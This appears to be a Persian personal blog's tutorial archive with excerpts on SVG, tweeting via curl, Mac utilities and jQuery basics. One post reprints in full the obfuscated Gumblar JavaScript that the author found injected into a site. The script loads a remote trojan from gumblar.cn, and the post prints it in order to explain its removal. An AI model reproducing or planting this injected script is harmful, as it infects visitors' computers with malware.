بایگانی

بایگانی برای دسته ی ‘آموزش’

رسم تصاویر گرافیکی برداری مقیاسپذیر در صفحه

۱۵ بهمن ۱۳۸۸

سلام

تا حالا به این فکر کرده اید که میشه مثلا یه تصویر توی وب سایتتون نقاشی کنید و خروجی ازش بگیرید اونم به صورت برداری؟

چند روز پیش سر پروژه ای که توی شرکت داریم انجام میدیم رئیس برای رسم نمودار ساختار کد نویسی از براساس XML بهم نشون داد که یه جورایی کفم برید :D

اسم این ساختار SVG هست که مخفف Scalable Vector Graphics هست.

با استفاده از این ساختار کد نویسی میتونید به راحتی اشیاعی رو که میخواین با استفاده از تگ های مخصوص خودشون و البته پارامترهایی که میگیرن مشخص کنید.

از نظر سازگاری و پردازش مرورگر های اینترنت برای نمایش بردار رسم شده، تمام مرورگر ها به جز Microsoft Internet Explorer احمق نمیتونه نمایشش بده!!(البته IE8 گویا ساپورت میکنه)

از امتیاز هایی که SVG داره ساختار چند لایه ای بودن و قابلیت تنظیم شفافیت اشیاع موجود در صفحه است.

ساختار کد نویسیتون باید به صورت زیر باشه:
ادامه ی نوشته

آموزش , , , , , ,

راحت در ترمینال توییت کنید

۱۸ دی ۱۳۸۸

این پست برای لینوکس/مکینتاش کارهای عزیز هست

الان از توی ترمینال کلی کار ها رو میشه انجام داد ولی این یکیش رو خودتون خیلی ساده مینوسین ;)

میخوام توی این پست به شما با یه قطعه کد یاد بدم که چطوری از توی terminal/bash لینوکس یا مکینتاش میتونید توییت کنید

اصل ماجرا این دستور هست:

 curl -u pilevar:***** -d status="salam, in tweet e man hast!" http://168.143.171.180/statuses/update.xml

که این دستور میره و نام کاربری و پسورد شما رو که در اینجا به ترتیب: pilevar و ***** هست رو به همراه post یک متغیر به نام status به نشانی http://168.143.171.180/statuses/update.xml میفرستد و چون در ایران با دمکراسی شبکه خائن و شایعه پراکن توییتر(!) فیلتر شده از IP اون برای ارتباط استفاده شده است! مسلما این دستور زیادی زیاد هست و ارزشی نداره برای یه توییتر اینقدر چرتو پرتا رو بنویسین حالا برای اینکه این دستور رو کمش کنیم و یه جورایی Script اش کنیم به روش زیر عمل میکنیم:
ادامه ی نوشته

آموزش , , , , , , , , , , , , , ,

ویروسی که به جون سایت ها می افتد!

۴ دی ۱۳۸۸

مدتی پیش مشکلی با یکی از سایت هایی که ساخته بودم داشتم، این بود که وقتی صفحه سایت باز میشد آنتی ویروس ها تروجانی رو شناسایی میکردن و سایت باز نمیشد! اونایی هم که آنتی ویروس نداشتن هم که قربانی این تروجان میشدن!

وقتی رفتم کد صفحه رو خوندم، به یه قطعه کد Java Script برخورد کردم که کد شده بود.

اینجور چیزی بود:

(function(jil){var xR5p='%';e val(unescape(('var"20a"3d"22Sc"72iptEngin"65"22"2c"62"3d"22"56ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"75s"65rAgent"3bif(("75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2e"69n"64exO"66("22NT"20"36"22"29"3c0)"26"26(documen"74"2ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3c0)"26"26"28t"79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"22A"22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"61jo"72"22+"62"2ba+"22Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22j"3b"22)"3bdocu"6de"6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2f"73cript"3e"22"29"3b"7d').replace(jil,xR5p)))})(/"/g);

این کد میره از سایتی به نشانی gumblar .cn تروجانی رو منتقل کامپیوتر شما میکنه!

این قطعه کد دقیقا به انتهای آخرین تگ بسته شده قبل از تگ <body> میچسبه و در حال اجرای سایت گند میزنه به سیستم ملت!

و اما چطوری ریشه این ویروس رو از سایت خود بکنیم:

ادامه ی نوشته

آموزش, خاطراتم, پروژه هایم , , , , ,

بیخوابی مک بوک

۲۶ آذر ۱۳۸۸
بیخوابی مک بوک

بیخوابی مک بوک

مدتی پیش این مشکل رو داشتم که مثلا وقتی داشتم یه فایل حجیم رو دانلود میکردم، نمیخواستم در لپ تاپم رو که میبندم سیستمم بره رو حالت خواب (sleep) که همه چیز استاپ بشه.

هرچی توی مکینتاشم گشتم ببینم چی چیه که تنطیمش کنم، چیزی پیدا نکردم و تو اینترنت هم البته گشتم.

از سیاوش که پرسیدم، بهم یه نرم افزار معرفی کرد که گفتم شاید به درد شما ها هم بخوره ;)

اسم این برنامه InsomniaX هست و میتونیم که تنظیمش کنید وقتی در لپ تاپمون رو بستیم به حالت Sleep نره

این برنامه حجمش ۲ مگابایته.

برای دانلود این نرم افزار میتونید روی بینک زیر کلیک کنید

ادامه ی نوشته

آموزش , , , , , , , , ,

رسم لذت بخش شجره نامه در مکینتاش

۶ آذر ۱۳۸۸

نمیدونم تا حالا براتون پیش اومده که بخواین درخت شجره نامه خانوادگی خودتون یا کس دیگه رو رسم کنید یا نه ولی برای ما یه سری این شرایط به وجود اومد و داداشم با بدبختی تمام بخش کوچیکی از شجره نامه خانوادگیمون رو با فوتوشاپ طراحی کرد و حالا خداییش هم چیز بدی نشده بود ولی خیلی وقت گیر بود!!!

امروز یکی نرم افزار پیدا کردم توووپ!

کار این نرم افزار ایجاد درخت خانوادگی هست که برای سیستم عامل مکینتاش نوشته شده و اسمش هم MacFamilyTree هست.

با استفاده از این نرم افزار شما میتونید اطلاعات هر شخص(نام و نام خانوادگی و نام پدر و نام مادر و تاریخ تولد و جنسیت و عکس و…) رو واردش کنید و اون براتون یه شجره نامه تووپ سه بعدی بسازه که راحت بتونید توش شنا کنید!

با این نرم افزار شما میتونید درخت خانوادگیتون رو به استایل های مختلف در بیارین و ببینید و همینطور میتونیم آماری از خانواده ها داشته باشید که چیزای جالبی توش در میاد ;)

یه امکان خفن و جالبی که این نرم افزار داره اینه که شما میتونید بعد از تکمیل درختتون اون رو در سایت این نرم افزار ثبت کنید تا یک کتابخانه اینترنتی بزرگ از اشخاص در موقعیت های مختلف جغرافیای ایجاد شود و به جمع ۱.۵ میلیونی این اشخاص بپیوندید.

ادامه ی نوشته

آموزش , , , , , , , ,

جلسه اول jQuery: جی.کوئری چگونه کار میکند؟

۱۱ مهر ۱۳۸۸

سوال خیلی جالبیه که ممکنه برای هر کدوم از ما پیش اومده باشه!

در ابتدا شما باید فایل JQuery را از اینجا دانلود کنید و داخل پوشه ای بریزید.

یک ویرایش گر متن مثل Notepad یا NotePad++ در ویندوز یا Espresso یا TextMate در میکنتاش یا GEdit در لینوکس باز کنید و کد زیر را در آن کپی و پیست کنید و توی همون پوشه ای که فایل JQuery رو ریختید را با پسوند html ذخیره کنید.

<html>
  <head>
    <script type="text/javascript" src="jquery.js"></script>

    <script type="text/javascript">

    </script>
  </head>
  <body>
    <a href="http://jquery.com/">jQuery</a>
  </body>
</html>

در این کد در خط شماره ۳ شما دستوری که فایل jquery.js رو فراخوانی میکنه میبینید.
این فایل html شما هم اکنون فایل هسته جی.گوئری رو خوانده هست که الان ما میتونیم از قابلیت های جالب اون استفاده کنیم :)

توجه داشته باشید که کد فراخوانی باید در داخل تک <head> قرار گیرد و ما بقی آیتم هایی که قرار است از تکنولوژی ای.جکس و JQuery استفاده کنند باید در داخل تگ <body> نوشته شوند.

اجرای کد وقتی صفحه در حال خوانده شدن (باز شدن) است

اکثر جاوا کار ها برای اجرای کد جاوایی در زمانی که بخواهند صفحه در حال شدن است کاری انجام شود از کد زیر استفاده میکنند:

window.onload = function(){ alert("welcome"); } 

که دستور این مشکل را دارد که تا زمانی که تمام تصاویر و اشیاع موجود در صفحه فراخوانی اشون تموم نشده صبر نمیکند و همون اول یهو اجرا میشه و میره !

ادامه ی نوشته

آموزش , , , , ,